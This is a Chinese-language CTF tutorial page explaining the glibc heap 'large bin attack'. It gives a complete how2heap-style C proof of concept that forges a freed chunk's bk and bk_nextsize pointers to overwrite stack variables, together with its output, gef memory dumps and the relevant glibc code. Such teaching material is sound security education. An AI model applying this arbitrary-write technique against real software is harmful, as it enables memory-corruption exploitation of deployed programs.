CTF-All-In-One/doc/3.1.9_heap_exploit_4.md
firmianay f7a7d59428 fix
2018-10-17 14:58:56 +08:00

266 lines
10 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3.1.9 Linux 堆利用(四)
- [how2heap](#how2heap)
- [large_bin_attack](#large_bin_attack)
- [house_of_rabbit](#house_of_rabbit)
- [house_of_roman](#house_of_roman)
- [参考资料](#参考资料)
[下载文件](../src/Others/3.1.6_heap_exploit)
## how2heap
### large_bin_attack
```c
#include<stdio.h>
#include<stdlib.h>
int main() {
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "The targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x100);
fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
malloc(0x10);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
malloc(0x10);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
malloc(0x10);
// deal with tcache - libc-2.26
// int *a[10], *b[10], i;
// for (i = 0; i < 7; i++) {
// a[i] = malloc(0x100);
// b[i] = malloc(0x400);
// }
// for (i = 0; i < 7; i++) {
// free(a[i]);
// free(b[i]);
// }
free(p1);
free(p2);
fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
malloc(0x30);
fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
free(p3);
malloc(0x30);
fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}
```
```text
$ gcc -g large_bin_attack.c
$ ./a.out
The targets we want to rewrite on stack:
stack_var1 (0x7fffffffdeb0): 0
stack_var2 (0x7fffffffdeb8): 0
Now, we allocate the first chunk: 0x555555757000
Then, we allocate the second chunk(large chunk): 0x555555757130
Finally, we allocate the third chunk(large chunk): 0x555555757560
Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
Now we use a vulnerability to overwrite the freed second chunk
Finally, we free the third chunk and malloc again, targets should have already been rewritten:
stack_var1 (0x7fffffffdeb0): 0x555555757560
stack_var2 (0x7fffffffdeb8): 0x555555757560
```
该技术可用于修改任意地址的值,例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。
首先我们分配 chunk p1, p2 和 p3并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下:
```text
gef➤ x/2gx &stack_var1
0x7fffffffde70: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1
0x555555757010: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-6
0x555555757110: 0x0000000000000000 0x0000000000000021
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2
0x555555757140: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3-6
0x555555757540: 0x0000000000000000 0x0000000000000021
0x555555757550: 0x0000000000000000 0x0000000000000000
0x555555757560: 0x0000000000000000 0x0000000000000411 <-- p3
0x555555757570: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3+(0x410/8)-2
0x555555757970: 0x0000000000000000 0x0000000000000021
0x555555757980: 0x0000000000000000 0x0000000000000000
0x555555757990: 0x0000000000000000 0x0000000000020671 <-- top
0x5555557579a0: 0x0000000000000000 0x0000000000000000
```
然后依次释放掉 p1 和 p2这两个 free chunk 将被放入 unsorted bin
```text
gef➤ x/8gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000111 <-- p1 [be freed]
0x555555757010: 0x00007ffff7dd3b78 0x0000555555757130
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
0x555555757140: 0x0000555555757000 0x00007ffff7dd3b78
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE) → Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
[+] Found 2 chunks in unsorted bin.
```
接下来随便 malloc 一个 chunk则 p1 被切分为两块,一块作为分配的 chunk 返回,剩下的一块继续留在 unsorted binp1 的作用就在这里,如果没有 p1那么切分的将是 p2。而 p2 则被整理回对应的 large bin 链表中:
```text
gef➤ x/14gx p1-2
0x555555757000: 0x0000000000000000 0x0000000000000041 <-- p1-1
0x555555757010: 0x00007ffff7dd3c78 0x00007ffff7dd3c78
0x555555757020: 0x0000000000000000 0x0000000000000000
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x00000000000000d1 <-- p1-2 [be freed]
0x555555757050: 0x00007ffff7dd3b78 0x00007ffff7dd3b78 <-- fd, bk
0x555555757060: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x0000000000000411 <-- p2 [be freed]
0x555555757140: 0x00007ffff7dd3f68 0x00007ffff7dd3f68 <-- fd, bk
0x555555757150: 0x0000555555757130 0x0000555555757130 <-- fd_nextsize, bk_nextsize
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
→ Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤ heap bins large
[ Large Bins for arena 'main_arena' ]
[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
→ Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.
```
整理的过程如下所示,需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列,如果大小相同则按照最近使用顺序排列:
```c
/* place chunk in bin */
if (in_smallbin_range (size))
{
[ ... ]
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
[ ... ]
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
[ ... ]
}
if ((unsigned long) size == (unsigned long) fwd->size)
[ ... ]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
[ ... ]
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```
假设我们有一个漏洞,可以对 large bin 里的 chunk p2 进行修改,结合上面的整理过程,我们伪造 p2 如下:
```text
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed]
0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk
0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize
0x555555757160: 0x0000000000000000 0x0000000000000000
```
同样的,释放 p3将其放入 unsorted bin紧接着进行 malloc 操作,将 p3 整理回 large bin这个过程中判断条件 `(unsigned long) (size) < (unsigned long) (bck->bk->size)` 为假,程序将进入 else 分支,其中 `fwd` 是 fake p2`victim` 是 p3接着 `bck` 被赋值为 (&stack_var1 - 2)。
在 p3 被放回 large bin 并排序的过程中,我们位于栈上的两个变量也被修改成了 `victim`,对应的语句分别是 `bck->fd = victim;``ictim->bk_nextsize->fd_nextsize = victim;`
```text
gef➤ x/2gx &stack_var1
0x7fffffffde70: 0x0000555555757560 0x0000555555757560
gef➤ x/8gx p2-2
0x555555757130: 0x0000000000000000 0x00000000000003f1
0x555555757140: 0x0000000000000000 0x0000555555757560
0x555555757150: 0x0000000000000000 0x0000555555757560
0x555555757160: 0x0000000000000000 0x0000000000000000
gef➤ x/8gx p3-2
0x555555757560: 0x0000000000000000 0x0000000000000411
0x555555757570: 0x0000555555757130 0x00007fffffffde60
0x555555757580: 0x0000555555757130 0x00007fffffffde58
0x555555757590: 0x0000000000000000 0x0000000000000000
```
考虑 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,在 free 之前把两种大小的 tcache bin 都占满。
### house_of_rabbit
### house_of_roman
## 参考资料
- [House of Rabbit - Heap exploitation technique bypassing ASLR](http://shift-crops.hatenablog.com/entry/2017/09/17/213235)
- https://github.com/shift-crops/House_of_Rabbit
- [House_of_Roman](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
- https://github.com/romanking98/House-Of-Roman